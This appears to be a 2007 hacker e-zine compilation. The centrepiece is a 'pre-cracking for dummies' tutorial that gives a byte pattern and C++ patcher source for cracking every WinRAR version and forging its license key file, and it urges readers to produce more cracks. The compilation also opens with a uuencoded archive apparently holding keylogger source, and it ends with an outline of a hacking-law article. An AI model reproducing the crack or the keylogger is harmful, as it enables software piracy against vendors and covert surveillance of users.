MKE5:S63D7B$@49!>]!^Y]95]B*\HV1GC>";;Q"WA!DAZ2^I66I;<2OG0@T`?
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
M`A0`%`````@`.')&-WQW,#^R"@``_",```L``````````0`@(```NP0``&ME
?>6QO9V=E<BYC4$L%!@`````"``(`<@```)8/````````
`
end
------------------------------------[ EOF ]-------------------------------------






--------------------------------------------------------------------------------
[==============================================================================]
[----------[ Big Integer Arithmetic based on Fast Fourier Transforms ]---------]
[==============================================================================]


       _.d####b._
     .############.
   .################.
  .##################.__ __ __ __ _ _ __ __ 
  ##############/Ž_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  ###########>'<######                                     
  *#########(   )####* 
   ##########>.<#####    author:  rattle
    ################     email:   rattle@awarenetwork.org
     *############*       
       "T######T"

   A copy of the pdf can be found at www.awarenetwork.org

   Direct link:
   http://www.awarenetwork.org/etc/beta/rattle.BigInt.Arithmetic.FFT.Methods.pdf
------------------------------------[ EOF ]-------------------------------------






--------------------------------------------------------------------------------
 /\
 ||                                                                       /\
[=========================================================================||===]
[-------------------------[ pre-cracking for dummies ]--------------------||---]
[=========================================================================||===]
 ||                                                                       ||
 ||    _.d####b._                                                         ||
 ||  .############.                                                       ||
 ||.################.                                                     ||
 ||##################.__ __ __ __ _ _ __ __                               ||
 |##############/Ž_`|#\ V  V // _` | '_/ -_)                              ||
 |##############\__,|# \_/\_/ \__,_|_| \___|                              ||
 |###########>'<######                                                    ||
 |*#########(   )####*                                                    ||
 ||##########>.<#####     .aware eZine beta                               ||
 || ################       .text 2007-07-07                               ||
 ||  *############*                                                       ||
 ||    "T######T"                                                         ||
 ||                                                                       ||
 \/                                                                       ||
                                                                          ||
 /\                                                                       ||
 ||                W W W . A W A R E N E T W O R K . O R G                ||
 ||                                                                       ||
 ||_______________________________________________________________________||
 ||-----------------------------------------------------------------------||
 ||=======================================================================||
 ||                                                                       ||
 ||                        PRE-CRACKING FOR DUMMIES                       ||
 ||            -----------------------------------------------            ||
 ||                  a sexy text for those special moments                ||
 ||                      ...isn't that right, pac-man?                    ||
 ||                                                                       ||
 ||                                                                       ||
 ||                               ,-'"   "`-.                             ||
 ||                             ,'_          `.                           ||
 ||                            / / \  ,-       \  PAC-MAN SAYS...         ||
 ||                       __   | \_0 ---        | - EEEEEEYYYYYYYY!!!     ||
 ||                      /  |  |                |                         ||
 ||                      \  \  `--.______,-/    |                         ||
 ||                    ___)  \  ,--""    ,/     |                         ||
 ||                   /    _  \ \-_____,-      /                          ||
 ||                   \__-/ \  | `.          ,'                           ||
 ||                     \___/ <    Ž--------'                             ||
 ||                      \__/\ |                                          ||
 ||                       \__//                                           ||
 ||                                                                       ||
 ||                                                                       ||
 ||          ...and this my friends is what I call a big fat              ||
 ||         stiff cock up the fucking arse with mint or celery            ||
 ||                                                                       ||
 ||                                             - Mike Strutter           ||
 ||                                                                       ||
 ||                                                                       ||
 ||         .text search strings                                          ||
 ||       |-------------------------------------|                         ||
 ||         "0x00 Prologue"                                               ||
 ||         "0x01 Common knowledge"                                       ||
 ||         "0x02 Success story"                                          ||
 ||         "0x03 The pattern"                                            ||
 ||         "0x04 The source"                                             ||
 ||         "0x05 U R L"                                                  ||
 ||       |---------------------------|                                   ||
 ||                                                                       ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||                            0x00 Prologue                              ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||  Greetings mad undergr0und haxorz!                                    ||
 ||                                                                       ||
 ||  This text will elucidate in a fairly straightforward way what a      ||
 ||  pre-crack actually is as well as showing you how to produce one.     ||
 ||  Since this article is written to be somewhat understandable even     ||
 ||  for those without any prior knowledge of software cracking,          ||
 ||  a listing of definitions would be helpful, yes?  mmyyeesss...        ||
 ||                                                                       ||
 \/  Here is a "theory crash course" in software cracking!                ||
     Note! Hardcore black hats may skip the first chapter (0x01),         ||
     ...maybe even the whole thing!?                                      ||
 /\                                                                       ||
 ||                                                                       ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||                       0x01 Common knowledge                           ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||  Reverse engineering (RE) is the process of discovering the           ||
 ||  technological principles of a device or object or system through     ||
 ||  analysis of its structure, function and operation. It often involves ||
 ||  taking something (e.g. a mechanical device, an electronic component, ||
 ||  a software program) apart and analysing its workings in detail,      ||
 ||  usually to try to make a new device or program that does the same    ||
 ||  thing without copying anything from the original.                    ||
 ||                                                                       ||
 ||  In computer science, an opcode is the portion of a machine language  ||
 ||  instruction that specifies the operation to be performed.            ||
 ||  The term is an abbreviation of Operation Code.                       ||
 ||  Their specification and format will be laid out in the instruction   ||
 ||  set architecture (ISA) of the computer hardware component in         ||
 ||  question normally a CPU, but possibly a more specialized unit.       ||
 ||  A complete machine language instruction contains an opcode and,      ||
 ||  optionally, the specification of one or more operands—what data      ||
 ||  the operation should act upon.                                       ||
 ||                                                                       ||
 ||  Machine language is tedious and difficult for humans to program      ||
 ||  in directly, so if the abstraction given by a higher-level           ||
 ||  programming language is not desired, an assembly language is used.   ||
 ||  Here, mnemonic instructions are used that correspond to the opcode   ||
 ||  and operand specifications of the machine language instructions      ||
 ||  generated. In assembly language a mnemonic is a code,                ||
 ||  usually from one to five letters, that represents an opcode.         ||
 ||  This gives a greater level of readability and comprehensibility      ||
 ||  than working with machine language operations directly, while still  ||
 ||  giving accurate control of the machine language generated.           ||
 ||                                                                       ||
 ||  Many of the mnemonics have rather self-explanatory names such as     ||
 ||  ADD, MOV, CMP, INC, DEC. One of the most used mnemonics in software  ||
 ||  cracking would have to be NOP (No operation). So why is that?        ||
 ||  Well NOP doesn’t actually do anything (besides wasting cpu clock     ||
 ||  cycles). So how is that useful? Well NOPs are most commonly used     ||
 ||  for timing purposes, to force memory alignment, to prevent hazards,  ||
 ||  to occupy a branch delay slot, or as a "place-holder" to be          ||
 ||  replaced by active instructions later on in program development      ||
 ||  (or to replace removed instructions when re-factoring would be       ||
 \/  problematic or time-consuming). In the eyes of a cracker it’s a      ||
     blessing. Let us watch some pseudocode, and a lame ass example!      ||
                                                                          ||
 /\                                                                       ||
 ||  This is the before code, which will actually check X to see if it    ||
 ||  is elite enough to continue.                                         ||
 ||                                                                       ||
 ||  check X                                                              ||
 ||  {                                                                    \/ 
 ||    if X is not equal to 1337
 ||      return false
 ||    else                                                               /\
 ||      return true                                                      ||
 ||  }                                                                    ||
 ||                                                                       ||
 ||  This is the modified code, which does not care about anything        ||
 ||  really. It just returns true, which is exactly what we want          ||
 ||  it to do!                                                            ||
 ||                                                                       ||
 ||  check X                                                              ||
 ||  {                                                                    ||
 ||    nop       // do nothing                                            ||
 ||    nop       // do nothing                                            ||
 ||    nop       // do nothing                                            ||
 ||    return true                                                        ||
 ||  }                                                                    ||
 ||                                                                       ||
 ||  This is of course simplified, but you get the idea, right?           ||
 ||                                                                       ||
 ||  Below is a lame ... but working "real life" example.                 ||
 ||  We could of course modify this code in several different ways        ||
 ||  to get the job done, but let's stick to the most common way.         ||
 ||                                                                       ||
 ||   - code -                                                            ||
 ||#######################################################################||
 ||                                                                       ||
 ||  The original code:                                                   ||
 ||  ------------------                                                   ||
 ||  org 100h                                                             ||
 ||  mov ax,01h                                                           ||
 ||  mov cx,02h                                                           ||
 ||  cmp ax,cx                                                            ||
 ||  jne notequal  ; <-- here is your problem                             ||
 ||  mov dx,registered                                                    ||
 ||  mov ah,09h                                                           ||
 ||  int 21h                                                              ||
 ||  jmp exit                                                             ||
 ||  notequal                                                             ||
 ||  mov dx,trialmode                                                     ||
 ||  mov ah,09h                                                           ||
 ||  int 21h                                                              ||
 ||  exit                                                                 ||
 ||  mov ah,4Ch                                                           ||
 ||  int 21h                                                              ||
 ||  registered db "program is registered.",0dh,0ah,24h                   ||
 ||  trialmode db "program is in trial mode.",0dh,0ah,24h                 ||
 ||                                                                       ||
 ||                                                                       ||
 ||  The modified code:                                                   ||
 ||  ------------------                                                   ||
 ||  org 100h                                                             ||
 ||  mov ax,01h                                                           ||
 ||  mov cx,02h                                                           ||
 ||  cmp ax,cx                                                            ||
 ||  nop           ; <-- nothing nop can't fix                            ||
 ||  nop           ; <-- ...second that!                                  ||
 ||  mov dx,registered                                                    ||
 ||  mov ah,09h                                                           ||
 ||  int 21h                                                              ||
 ||  jmp exit                                                             ||
 ||  notequal                                                             ||
 ||  mov dx,trialmode                                                     ||
 ||  mov ah,09h                                                           ||
 ||  int 21h                                                              ||
 ||  exit                                                                 ||
 ||  mov ah,4Ch                                                           ||
 ||  int 21h                                                              ||
 ||  registered db "program is registered.",0dh,0ah,24h                   ||
 ||  trialmode db "program is in trial mode.",0dh,0ah,24h                 ||
 ||                                                                       ||
 ||#######################################################################||
 ||   - code -                                                            ||
 ||                                                                       ||
 ||  Since this is a text for dummies, let's explain what just            ||
 ||  happened in a more "hands-off" ... theoretical way as well!          ||
 ||                                                                       ||
 ||  Software cracking is the modification of software to remove          ||
 ||  protection methods: copy prevention, trial/demo version,             ||
 ||  serial number, hardware key, CD check or software annoyances like    ||
 ||  nag screens and adware. The most common software crack is the        ||
 ||  modification of an application's binary to cause or prevent a        ||
 ||  specific key branch in the program's execution. This is              ||
 ||  accomplished by reverse engineering the compiled program code        ||
 ||  using a debugger until the software cracker reaches the subroutine   ||
 ||  that contains the primary method of protecting the software          ||
 ||  (or by disassembling it). The binary is then modified using the      ||
 ||  debugger or a hex editor in a manner that replaces a prior           ||
 ||  branching opcode with its complement or a NOP opcode so the key      \/
 ||  branch will either always execute a specific subroutine or skip
 ||  over it. Almost all common software cracks are a variation of
 ||  this type. Hopefully that was clear enough for everyone?             /\
 ||                                                                       ||
 ||  A pre-crack (or search'n'destroy crack) is essentially nothing       ||
 ||  more then a "dynamic" software crack. The opcode modifying part      ||
 ||  is not really "dynamic", but the end product is. One of the most     ||
 ||  common software cracking techniques is the offset patching. Since    ||
 ||  releasing a complete cracked binary is not considered very sexy,     ||
 ||  the cracker compares the cracked binary with the original binary     ||
 ||  and stores the altered parts. The cracker now knows where in the     ||
 ||  binary to place his modifications (the offsets). All that remains    ||
 ||  is to create a patch that replaces “whatever” to the given offsets   ||
 ||  and  voila: we have offset patching! The patch must of course make   ||
 ||  sure that the binary to be modified has the right size (length)      ||
 ||  and such vital details.                                              ||
 ||                                                                       ||
 ||  The pre-crack is very similar to the offset patching technique,      ||
 ||  though the cracker does not know any of the offsets or the size      ||
 ||  (length) of the binary in advance. Instead a pattern must be         ||
 ||  located, which hopefully won’t change in future software upgrades.   ||
 ||  The cracker knows the interesting offsets of the present binary      ||
 ||  and he or she knows what data to alter. The problem is that the      ||
 ||  data must be found again in unknown territory...                     ||
 ||  (a possible software upgrade).                                       ||
 ||                                                                       ||
 ||  A common way of finding the specific data (patch-data) again is to   ||
 ||  search for "it", as well as surrounding patterns (data which is      ||
 ||  most likely to be reused in a software upgrade). The easiest way is  ||
 ||  to check the patterns pre/post the patch-data. If that is not        ||
 ||  possible the cracker will have to check patterns further away and    ||
 ||  then try to find the way back to the patch-data. This is the         ||
 ||  obvious reason that pre-cracks also if referred to as...             ||
 ||  search'n'destroy, seek'n'destroy or similar...                       ||
 ||  In Sweden we have a saying "A dear/beloved child has many names.".   ||
 ||                                                                       ||
 ||  If everything goes as planed the pre-crack will be able to crack     ||
 ||  the current binary as well as any future software upgrade, as long   ||
 ||  as it contains the patch-data pattern(s).                            ||
 ||                                                                       ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||                          0x02 Success story                           ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||  An example of a pre-crack that indeed has fulfilled its purpose      ||
 ||  is the .aware WinRAR (PC) *ALL* versions pre-crack. It was born      ||
 ||  in the beginning of 2005 and has served the underground community    ||
 ||  ever since.                                                          ||
 ||                                                                       ||
 ||  The following is from a file located in the .aware/usr directories:  ||
 ||                                                                       ||
 ||                                                                       ||
 || - BOF -                                                               ||
 ||#######################################################################||
 || "This precrack is coded to hopefully crack the next release of Rarlab ||
 || WinRAR. The latest version (today) 09-Mars-2005 is WinRAR 3.42.       ||
 ||                                                                       ||
 || So keep an eye on the rarlab website, and the same second they make   ||
 || the next WinRAR release public, you download it and crack it with a   ||
 || patch you've been holding for a long time."                           ||
 ||#######################################################################||
 || - EOF -                                                               ||
 ||                                                                       ||
 ||  During the last years Rarlab has released a shit load of version     ||
 ||  upgrades, and they were all cracked by the .aware WinRAR             ||
 ||  pre-cracker. Hopefully it will keep on keeping on for your           ||
 \/  pleasure and convenience!                                            ||
                                                                          ||
 /\                                                                       ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||                          0x03 The pattern                             ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||  Here is the pattern, which was used in the .aware WinRAR             ||
 ||  pre-cracker:                                                         ||
 ||                                                                       ||
 ||                                                                       ||
 || []=================================================================[] ||
 ||                                                                       ||
 ||              -=<[HERE WE HAVE THE PRECRACK PATTERN]>=-                ||
 ||                                                                       ||
 || --------------------------------------------------------------------- ||
 ||                                                                       ||
 || :0040DCA2 8D85D0EFFFFF            lea eax, dword ptr [ebp+FFFFEFD0]   ||
 || :0040DCA8 8B95D0F3FFFF            mov edx, dword ptr [ebp+FFFFF3D0]   ||
 || :0040DCAE E865DBFFFF              call 0040B818                       ||
 || --------------------------------------------------------------------- ||
 ||                                                                       ||
 || :0040DCB3 84C0                    test al, al                         ||
 || :0040DCB5 0F85DFFEFFFF            jne 0040DB9A                        ||
 || :0040DCBB 33C0                    xor eax,eax <-- modify this part!   ||
 || --------------------------------------------------------------------  ||
 ||                                                                       ||
 ||                    --- 84C00F85DFFEFFFF33C0 ---                       ||
 ||                                                                       ||
 || :0040DCBD 8B95D4F3FFFF            mov edx, dword ptr [ebp+FFFFF3D4]   ||
 || :0040DCC3 64891500000000          mov dword ptr fs:[00000000], edx    ||
 || --------------------------------------------------------------------- ||
 ||                                                                       ||
 ||            * Original code is - xor eax,eax [33C0]                    ||
 ||            * Replacement code will be - mov al,01 [B001]              ||
 ||                                                                       ||
 || []=================================================================[] ||
 ||                                                                       ||
 ||                                                                       ||
 ||  What you see above is the disassembled code of some old WinRAR       ||
 ||  release. The pre-crack searches for this pattern:                    ||
 ||  "84C00F85DFFEFFFF33C0".                                              \/
 ||
 ||  ...Yaay, a shit load of numbers and letters, neat!
 ||
 ||
 ||  The first four characters is a comparison, the next twelve           /\
 ||  characters are a jump related to the previous comparison and after   ||
 ||  that comes the part of the code that we will modify. In this case    ||
 ||  we replace the original code: "cleaning registry EAX" with:          ||
 ||  "add a number to registry EAX->AX->AH,AL". It is all very sexy,      ||
 ||  and if you feel you need to know more about cracking, disassembling, ||
 ||  debugging I recommend you to browse the .aware /usr directories      ||
 ||  _or_ read some of the thousands of text published on the net and     ||
 ||  in books.                                                            ||
 ||                                                                       ||
 ||                                                                       ||
 ||  Here we have the diff patterns:                                      ||
 ||                                                                       ||
 ||    * 84C00F85DFFEFFFF33C0 - original code                             ||
 ||    * 84C00F85DFFEFFFFB001 - modified code                             ||
 ||                                                                       ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||                           0x04 The source                             ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||  When the patch pattern(s) is located the only thing left to do       ||
 ||  is to write a patcher, which will read, locate and replace data.     ||
 ||  If you add a sexy gui, some weird looking ogl and a mod/track        ||
 ||  player you have yourself a decent release.                           ||
 ||                                                                       ||
 ||                                                                       ||
 ||  Note! The following code will not compile as it is now.              ||
 ||  It is more of an example of how it could be done.                    ||
 ||  A working copy can be found in the .aware /usr directories.          ||
 ||  Exact location(s) will be given in the end of this text.             ||
 ||                                                                       ||
 ||                                                                       ||
 ||   - code -                                                            ||
 ||#######################################################################||
 ||  /*                                                                   ||
 ||          W W W . A W A R E N E T W O R K . O R G                      ||
 ||                                                                       ||
 ||      []===========================================[]                  ||
 ||              WinRAR *ALL* Versions preCracker                         ||
 ||      []===========================================[]                  ||
 ||           iqlord | .aware crew  -w1n4p1 style-                        ||
 ||      []===========================================[]                  ||
 ||                                                                       ||
 ||  */                                                                   ||
 ||                                                                       ||
 ||  void WinRAR_preCrack::OnOk() {                                       ||
 ||      #define GC fgetc(fp);                                            ||
 ||      CNoWinrarDlg        nowrar;                                      ||
 ||      CWinrarCrackedDlg   finished;                                    ||
 ||      CNotCrackableDlg    notcrkable;                                  \/
 ||      DWORD               dwSize;
 ||      HKEY                Regentry;
 ||      HKEY                RegUserName;                                 /\
 ||      static char         WinRarInstallPath[0x0400],                   ||
 ||                          WinRarKeyFile[0x0400],                       ||
 ||                          UserName[0x0400];                            ||
 ||      bool                registry_trigger = true;                     ||
 ||      short               cb01=0x00,cb02=0x00,cb03=0x00,cb04=0x00,     ||
 ||                          cb05=0x00,cb06=0x00,cb07=0x00,cb08=0x00,     ||
 ||                          cb09=0x00,cb10=0x00;unsigned int x=0x00;     ||
 ||      FILE*               fp;                                          ||
 ||      FILE*               pKeyFile;                                    ||
 ||                                                                       ||
 ||      RegOpenKeyEx(HKEY_LOCAL_MACHINE,                                 ||
 ||          "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\"             ||
 ||          "App Paths\\WinRAR.exe",                                     ||
 ||          0x00, KEY_QUERY_VALUE, &Regentry );                          ||
 ||                                                                       ||
 ||      if (RegQueryValueEx(Regentry, TEXT(""), 0x00, 0x00,              ||
 ||          (unsigned char *)WinRarInstallPath, &dwSize )                ||
 \/          != ERROR_SUCCESS ) { registry_trigger = false;               ||
        }                                                                 ||
        if(registry_trigger)                                              ||
            strncpy(WinRarKeyFile,WinRarInstallPath,                      ||
            strlen(WinRarInstallPath)-10);                                ||
        else {                                                            ||
 /\          strcpy(WinRarInstallPath, ".\\WinRAR.exe" );                 ||
 ||          registry_trigger = true;                                     ||
 ||      }                                                                ||
 ||      strcat(WinRarKeyFile,"rarreg.key");                              ||
 ||      if((fp=fopen(WinRarInstallPath,"r+b"))==0x00) {                  ||
 ||          nowrar.DoModal(); RegCloseKey(Regentry); return;             ||
 ||      }                                                                ||
 ||      while(cb10 != -1) {                                              ||
 ||          cb01 = GC cb02 = GC cb03 = GC cb04 = GC cb05 = GC            ||
 ||          cb06 = GC cb07 = GC cb08 = GC cb09 = GC cb10 = GC            ||
 ||          if (                                                         ||
 ||              cb01 == 0x84 && cb02 == 0xC0 &&                          ||
 ||              cb03 == 0x0F && cb04 == 0x85 &&                          ||
 ||              cb05 == 0xDF && cb06 == 0xFE &&                          ||
 ||              cb07 == 0xFF && cb08 == 0xFF &&                          ||
 ||              cb09 == 0x33 && cb10 == 0xC0 ){                          ||
 ||              fseek(fp,ftell(fp)-0x02,0x00); fputs("\xB0\x01",fp);     ||
 ||              if((pKeyFile=fopen(WinRarKeyFile,"w+b"))==0x00) {        ||
 ||                  registry_trigger = false;                            ||
 ||              }                                                        ||
 ||              if(registry_trigger) {                                   ||
 ||                  RegOpenKeyEx(HKEY_LOCAL_MACHINE,                     ||
 ||                    "SOFTWARE\\Microsoft\\Windows NT\\"                ||
 ||                    "CurrentVersion\\Winlogon",                        ||
 ||                    0x00, KEY_QUERY_VALUE, &RegUserName );             ||
 ||                if ( RegQueryValueEx(RegUserName,                      ||
 ||                    TEXT("DefaultUserName"),0x00, 0x00,                ||
 ||                    (unsigned char *)UserName, &dwSize )               ||
 ||                    != ERROR_SUCCESS ) {                               ||
 ||                       strcpy(UserName,"Full version");                ||
 ||                }                                                      ||
 ||                fprintf(pKeyFile,"pure pwnage by the .aware crew\n%s\n"||
 ||                    "Single PC usage license.\n",UserName);            ||
 ||                    fclose(pKeyFile);                                  ||
 ||              }                                                        ||
 ||              RegCloseKey(RegUserName); RegCloseKey(Regentry);         ||
 ||              fclose(fp);                                              ||
 ||              finished.DoModal(); // crack done.                       ||
 ||              return;                                                  ||
 ||          } fseek(fp,x,0x00); x++;                                     \/
 ||      }
 ||      fclose(fp);
 ||      notcrkable.DoModal(); // error, abort.
 ||      return;                                                          /\
 ||  }                                                                    ||
 ||#######################################################################||
 ||   - code -                                                            ||
 ||                                                                       ||
 ||                                                                       ||
 ||  Did you notice how the patcher copies the default winUserName and    ||
 ||  uses it to register WinRAR? Well of course you did.                  ||
 ||                                                                       ||
 ||  So there you have it! Now start producing more pre-cracks people!    ||
 ||  It will save time and effort later on...                             ||
 ||                                                                       ||
 ||                                                                       ||
 ||  Deepest respects to me fellow partners in crime; rattle'n'kspecial!  ||
 ||  And of course to the rest of ya! (you know who you are).             ||
 ||                                                                       ||
 ||  Take care ya'll                                                      ||
 ||                                                                       ||
 ||_______________________________________________________________________||
 ||                                                                       ||
 ||                             0x05 U R L                                ||
 ||_______________________________________________________________________||
 ||                      [  www.awarenetwork.org  ]                       ||
 ||                                                                       ||
 ||  WinRAR VSC++ workspace:                                              ||
 ||  /home/iqlord/cracks%20&%20keygens/wrcrkr/winrarcrkr.src.rar          ||
 ||                                                                       ||
 ||  WinRAR precompiled binary:                                           ||
 ||  /home/iqlord/cracks%20&%20keygens/wrcrkr/winrarcrkr.rar              ||
 ||                                                                       ||
 ||  WinRAR raw code:                                                     ||
 ||  /home/iqlord/cracks%20&%20keygens/wrcrkr/wrcrkr.cpp                  ||
 ||                                                                       ||
 ||  First WinRAR pre-crack attempt (works, but without the sexy stuff):  ||
 ||  /home/iqlord/cracks%20&%20keygens/winrar-precrack/                   ||
 ||                                                                       ||
 ||     - EOF -                                                           ||
 ||                                                                       ||
 || ___.                                                                  ||
 || \_ |__   ____     _____ __  _  _______ _______   ____                 ||
 ||  | __ \_/ __ \    \__  \\ \/ \/ /\__  \\_  __ \_/ __ \                ||
 ||  | \_\ \  ___/     / __ \\     /  / __ \|  | \/\  ___/                ||
 ||  |___  /\___  >  /(____  /\/\_/  (____  /__|    \___  >               ||
 ||      \/     \/___\/ / /\/             \/            \/ ()()()         ||
 ||_____________/ (^^, / /________________________________________________||
 ||-------------) _)` 7_/-------------------------------------------------||
 ||=============\(G\ , )==================================================||
 ||             /`_`-' \_  ,'`)                                           ||
 ||            / / \     \/   \__,-.                                      \/
 ||         __(_/   >.  ` ) /\  /` )
 ||         \_ /   (  `--'_/  \/\_/                         - iqlord
 ||           U     \_  _) 
 \/                  ( `<   ...and you thought that the texts exact
                     /___\  512 lines was a fucking coincidence?
                     (__)
------------------------------------[ EOF ]-------------------------------------






--------------------------------------------------------------------------------
[==============================================================================]
[-------------------[ Hackformed - Your Hacking Law Update ]-------------------]
[==============================================================================]


       _.d####b._
     .############.
   .################.
  .##################.__ __ __ __ _ _ __ __ 
  ##############/Ž_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  ###########>'<######                                     
  *#########(   )####* 
   ##########>.<#####    author: zshzn
    ################     email:  zshzn@hackaholic.org
     *############*       
       "T######T"



[==============================================================================]

  1.0 Introduction

  2.0 About hacking
  2.1 What I mean by "hacking"
  2.2 Why the world needs hacking laws

  3.0 Jurisprudence
  3.1 Legal theory 
  3.2 Actus reus, mens rea, and summary conviction offences
  3.3 Stare decisis
  3.4 The development of laws
  3.5 Law elsewhere

  4.0 Diving right in - The USA
  4.1 Ambitious and confused
  4.2 10 Issues with the system of American hacking laws
  4.3 The Computer Fraud and Abuse Act
  4.3.1 Table of contents
  4.3.2 Analysis
  4.4 Application issues
  4.5 Current developments

  5.0 International collaboration 
  5.1 Importance
  5.2 Leaders
  5.3 Location

  6.0 The Convention on Cybercrime
  6.1 The Council of Europe
  6.2 Introduction and timeline
  6.3 Overview
  6.4 Table of contents
  6.5 Some explanations
  6.5.1 In general
  6.5.2 Specific Articles
  6.5.2.1 Article 6 - Misuse of devices
  6.5.2.2 Article 12 - Corporate liability
  6.5.2.3 Articles 16 through 21 about the powers of authorities
  6.5.3 On the lack of inclusion of user rights
  6.6 Provisions
  6.7 Current state
  6.8 Legal place of the treaty

  7.0 The European Union makes a move

  8.0 France 2004
  8.1 Introduction
  8.2 Your right
  8.3 The responsibility of ISPs
  8.4 Against exploits and hacking tools
  8.4.1 Article 46
  8.4.2 The previous state of the law
  8.4.3 Commentary

  9.0 United Kingdom 2006
  9.1 The Police and Justice Bill
  9.2 Current state of the Computer Misuse Act
  9.3 Commentary 

  10.0 Germany 2007
  10.1 Theory and explanation
  10.2 Hacking tools
  10.3 Commentary

